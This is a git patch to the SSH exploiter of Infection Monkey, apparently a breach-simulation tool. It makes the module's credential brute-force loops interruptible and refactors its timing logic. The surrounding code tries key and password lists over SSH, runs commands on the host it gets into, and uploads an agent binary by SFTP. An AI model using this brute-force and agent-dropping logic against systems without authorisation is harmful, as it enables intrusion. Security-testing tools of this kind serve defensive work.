From 9765f64174734bf37e0717322d71b196533395b3 Mon Sep 17 00:00:00 2001
From: Ilija Lazoroski <ilija.la@live.com>
Date: Thu, 17 Mar 2022 15:22:52 +0100
Subject: [PATCH] Agent: Make SSH interruptable

---
 monkey/infection_monkey/exploit/sshexec.py | 46 +++++++++++++++++-----
 1 file changed, 36 insertions(+), 10 deletions(-)

diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index dadbfbff1..d39e910bc 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,6 +1,5 @@
 import io
 import logging
-import time
 
 import paramiko
 
@@ -14,6 +13,8 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
 from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
 from infection_monkey.utils.brute_force import generate_identity_secret_pairs
 from infection_monkey.utils.commands import build_monkey_commandline
+from infection_monkey.utils.threading import interruptable_iter
+from infection_monkey.utils.timer import Timer
 
 logger = logging.getLogger(__name__)
 SSH_PORT = 22
@@ -26,13 +27,14 @@ class SSHExploiter(HostExploiter):
 
     def __init__(self):
         super(SSHExploiter, self).__init__()
-        self._update_timestamp = 0
 
     def log_transfer(self, transferred, total):
-        # TODO: Replace with infection_monkey.utils.timer.Timer
-        if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
+        timer = Timer()
+        timer.set(TRANSFER_UPDATE_RATE)
+
+        if timer.is_expired():
             logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
-            self._update_timestamp = time.time()
+            timer.reset()
 
     def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
         user_ssh_key_pairs = generate_identity_secret_pairs(
@@ -40,7 +42,14 @@ class SSHExploiter(HostExploiter):
             secrets=self.options["credentials"]["exploit_ssh_keys"],
         )
 
-        for user, ssh_key_pair in user_ssh_key_pairs:
+        ssh_key_pairs_iterator = interruptable_iter(
+            user_ssh_key_pairs,
+            self.interrupt,
+            "SSH exploiter has been interrupted",
+            logging.INFO,
+        )
+
+        for user, ssh_key_pair in ssh_key_pairs_iterator:
             # Creating file-like private key for paramiko
             pkey = io.StringIO(ssh_key_pair["private_key"])
             ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
@@ -56,6 +65,8 @@ class SSHExploiter(HostExploiter):
                 logger.debug(
                     "Successfully logged in %s using %s users private key", self.host, ssh_string
                 )
+                self.add_vuln_port(port)
+                self.exploit_result.exploitation_success = True
                 self.report_login_attempt(True, user, ssh_key=ssh_string)
                 return ssh
             except Exception:
@@ -73,7 +84,14 @@ class SSHExploiter(HostExploiter):
             secrets=self.options["credentials"]["exploit_password_list"],
         )
 
-        for user, current_password in user_password_pairs:
+        credentials_iterator = interruptable_iter(
+            user_password_pairs,
+            self.interrupt,
+            "SSH exploiter has been interrupted",
+            logging.INFO,
+        )
+
+        for user, current_password in credentials_iterator:
 
             ssh = paramiko.SSHClient()
             ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@@ -82,6 +100,7 @@ class SSHExploiter(HostExploiter):
 
                 logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
                 self.add_vuln_port(port)
+                self.exploit_result.exploitation_success = True
                 self.report_login_attempt(True, user, current_password)
                 return ssh
 
@@ -114,16 +133,18 @@ class SSHExploiter(HostExploiter):
 
         try:
             ssh = self.exploit_with_ssh_keys(port)
-            self.exploit_result.exploitation_success = True
         except FailedExploitationError:
             try:
                 ssh = self.exploit_with_login_creds(port)
-                self.exploit_result.exploitation_success = True
             except FailedExploitationError:
                 self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
                 logger.error(self.exploit_result.error_message)
                 return self.exploit_result
 
+        if self._is_interrupted():
+            self._set_interrupted()
+            return self.exploit_result
+
         if not self.host.os.get("type"):
             try:
                 _, stdout, _ = ssh.exec_command("uname -o")
@@ -154,9 +175,14 @@ class SSHExploiter(HostExploiter):
             logger.error(self.exploit_result.error_message)
             return self.exploit_result
 
+        if self._is_interrupted():
+            self._set_interrupted()
+            return self.exploit_result
+
         try:
+            # open_sftp can block up to an hour if a machine is killed
+            # after a connection
             with ssh.open_sftp() as ftp:
-                self._update_timestamp = time.time()
                 ftp.putfo(
                     agent_binary_file_object,
                     self.options["dropper_target_path_linux"],